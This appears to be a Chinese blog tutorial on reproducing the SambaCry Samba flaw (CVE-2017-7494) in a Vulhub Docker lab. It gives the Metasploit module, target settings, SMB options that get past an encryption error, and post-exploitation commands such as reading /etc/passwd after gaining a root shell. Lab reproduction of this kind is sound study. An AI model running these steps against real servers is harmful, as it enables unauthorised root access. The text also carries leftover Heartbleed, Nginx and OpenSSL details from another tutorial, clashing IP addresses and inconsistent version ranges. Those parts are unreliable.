Linux永恒之蓝漏洞复现:原理分析+环境搭建+渗透实践(CVE-2017-7494)

目录

一、Linux永恒之蓝漏洞(CVE-2017-7494)

1、漏洞简介

2、漏洞原理

[3、与 Windows "永恒之蓝"的对比](#3、与 Windows “永恒之蓝”的对比)

二、环境搭建

[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)

[2、下载 Vulhub](#2、下载 Vulhub)

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

(1)容器标识

(2)镜像信息

(3)命令和端口映射

(4)时间状态

6、获取靶机ip

7、渗透拓扑

三、渗透实战

1、msfconsole

[2、search CVE-2017-7494](#2、search CVE-2017-7494)

[3、use exploit/linux/samba/is_known_pipenam](#3、use exploit/linux/samba/is_known_pipenam)

4、配置攻击参数

5、开启攻击

6、配置不加密

7、确认配置无误

8、执行渗透

9、后渗透


本文介绍了Linux永恒之蓝漏洞(CVE-2017-7494)的原理及复现过程。该漏洞存在于Samba 3.5.0-4.6.4版本中,允许攻击者通过路径遍历在目标服务器上执行任意代码。文章详细对比了该漏洞与Windows永恒之蓝的区别,并提供了完整的复现步骤:包括使用Vulhub搭建漏洞环境,配置Metasploit攻击模块,解决加密报错问题,最终成功获取root权限shell。通过hostname、whoami等命令验证了渗透效果,完整演示了从漏洞原理到实际利用的全过程。

一、Linux永恒之蓝漏洞(CVE-2017-7494)

1、漏洞简介

Linux 永恒之蓝漏洞(CVE-2017-7494)是 Samba 网络文件共享服务中的一个严重远程代码执行漏洞。由于其与著名的 Windows "永恒之蓝"(EternalBlue)漏洞在影响和原理上有相似之处,因此常被称为 Linux 版的"永恒之蓝"SambaCry

  • 漏洞编号:CVE-2017-7494

  • 公开时间:2017年5月24日

  • 影响软件:Samba(3.5.0 至 4.6.4 之间的所有版本)

  • 严重等级高危(CVSS 评分通常为 9.8-10.0,满分10分)

  • 漏洞本质远程代码执行。攻击者可以利用此漏洞,通过网络在受影响的 Samba 服务器上以 root 权限执行任意代码。

2、漏洞原理

该漏洞存在于 Samba 的 进程间通信(IPC) 机制中,具体是 命名管道(Named Pipe) 的代码路径。

  • 正常流程 :Samba 允许客户端通过 IPC$ 共享上传一个共享库文件(如 .so 文件),并请求服务器加载并执行该库中的函数。

  • 缺陷所在 :服务器在加载客户端指定的共享库时,没有正确验证库文件的完整路径 。它允许客户端指定一个包含路径遍历序列(如 ../../../)的相对或绝对路径。

  • 利用方式 :攻击者可以上传一个恶意的共享库文件到可写共享目录(例如 /home/user/share/evil.so),然后通过 IPC$ 请求服务器加载一个类似 ../../../home/user/share/evil.so 的路径。Samba 服务(默认以 root 权限运行)会不加限制地加载并执行这个恶意库中的代码。

  • 最终结果 :攻击者成功在 Samba 服务器上获得了 root 权限的 shell 或执行了其预设的恶意操作。

简单比喻:就像一个仓库管理员(Samba服务),允许送货员(客户端)把箱子(共享库)暂存在仓库某个角落,并且承诺可以打开箱子里的说明书(函数)操作。但管理员没有检查"说明书位置"的指示,结果送货员写了个"去仓库外左边第三条街的垃圾桶里拿说明书",管理员真的跑去外面拿了并照做,导致引入了外部危险物品。

3、与 Windows "永恒之蓝"的对比

特性 Windows EternalBlue (MS17-010) Linux SambaCry (CVE-2017-7494)
协议/服务 SMBv1 协议(Windows 文件共享) Samba 服务(Linux/Unix 上的 SMB/CIFS 实现)
漏洞类型 缓冲区溢出(远程代码执行) 路径遍历 + 任意共享库加载(远程代码执行)
利用复杂度 较高,涉及内存操作 相对较低,概念验证(PoC)代码简单易得
传播能力 可自我传播,形成蠕虫(如 WannaCry) 不能自我复制,但可被手动或脚本化大规模利用
影响范围 全球 Windows 系统 全球使用 Samba 的 Linux/Unix 及嵌入式设备

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现心脏滴血漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

复制代码
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub-master

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

复制代码
cd samba
cd CVE-2017-7494

4、启动漏洞环境

在CVE-2017-7494目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

复制代码
docker-compose build && docker-compose up -d

命令执行后,Docker 会完成拉取一个包含openssl(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的linux永恒之蓝samba漏洞镜像容器已正常运行 ,可用于测试CVE-2017-7494漏洞的利用。

复制代码
05d5678098ab   vulhub/samba:4.6.3                 "/usr/local/samba/sb..."   11 seconds ago   Up 8 seconds                 0.0.0.0:445->445/tcp, :::445->445/tcp, 137-138/udp, 139/tcp, 0.0.0.0:6699->6699/tcp, :::6699->6699/tcp   cve-2017-7494_samba_1

(1)容器标识

  • 05d5678098ab:容器的唯一短ID

  • cve-2017-7494_samba_1:容器名称(项目名_服务名_序号)

(2)镜像信息

  • vulhub/samba:4.6.3:使用的是Vulhub项目的Samba镜像

    • Vulhub:一个知名的漏洞靶场项目,提供各种漏洞复现环境

    • 4.6.3 :这是存在漏洞的Samba版本(受影响版本:3.5.0-4.6.3,已修复版本:≥4.6.4)

(3)命令和端口映射

  • 命令"/usr/local/samba/sb..." 启动了Samba服务

  • 端口映射

    • 0.0.0.0:445->445/tcp :SMB协议主端口,已暴露到宿主机所有网络接口

    • 137-138/udp, 139/tcp:NetBIOS相关端口

    • 0.0.0.0:6699->6699/tcp可疑端口,可能是:

      • 用于演示的其他服务

      • 后门或webshell端口

      • 管理界面

(4)时间状态

  • 容器刚启动不久(11秒前创建,8秒前运行)

这说明已经成功启动了一个包含漏洞(CVE-2014-0160)的 Nginx 服务器容器。 该容器使用了存在漏洞的 OpenSSL 1.0.1c 版本,并已通过端口映射对外提供服务:

  • HTTP 服务 可通过 http://localhost:8080 访问。

  • HTTPS 服务(攻击目标) 可通过 https://localhost:8443 访问。

6、获取靶机ip

使用ifconfig获取靶机ip地址,我这里直接安装到kali中,故而ip地址即为宿主机的ip,如下所示ip地址为192.168.59.128。

7、渗透拓扑

靶机的ip与端口为192.168.59.128和445,角色表如下所示。

|------|----------------|----------|-------------|
| 角色 | ip | os | 应用 |
| 靶机 | 192.168.74.128 | Docker | Samba 4.6.3 |
| 攻击主机 | 192.168.74.128 | kali2019 | MSF |

三、渗透实战

1、msfconsole

攻击机使用msconsole启动MSF模块,如下所示。

2、search CVE-2017-7494

3、use exploit/linux/samba/is_known_pipenam

注意:use 0(也可以使用use exploit/linux/samba/is_known_pipename两者等效)

如上所示,需要配置rport与rhosts两个必要的参数,由于靶机的445端口同样映射到攻击机Kali的445端口,故而靶机的IP和端口为192.168.59.128:445

4、配置攻击参数

本步骤主要配置的参数为靶机ip地址,其中靶机的ip地址需要配置为192.168.59.128,端口号需要配置为445,如下所示。

复制代码
set RHOST 192.168.59.128
set RPORT 445

这里要注意:由于show options中默认端口为445,故而实际上445可以不配置。

5、开启攻击

**执行完毕后执行run,**如下所示,报错信息为加密出错

复制代码
[-] 192.168.59.128:445 - Exploit failed: RubySMB::Error::EncryptionError Communication error with the remote host: Socket read returned nil. The server supports encryption but was not able to handle the encrypted request.

[*] Exploit completed, but no session was created.

6、配置不加密

由于加密报错,设置 SMB 总是不加密,版本协议设置为 1,如下所示。

复制代码
set SMB::AlwaysEncrypt false 
set SMB::ProtocolVersion 1

7、确认配置无误

8、执行渗透

如下所示,成功获取到靶机的shell。

9、后渗透

分别执行hostname、whoami、cat /etc/passwd、id的命令,渗透成功。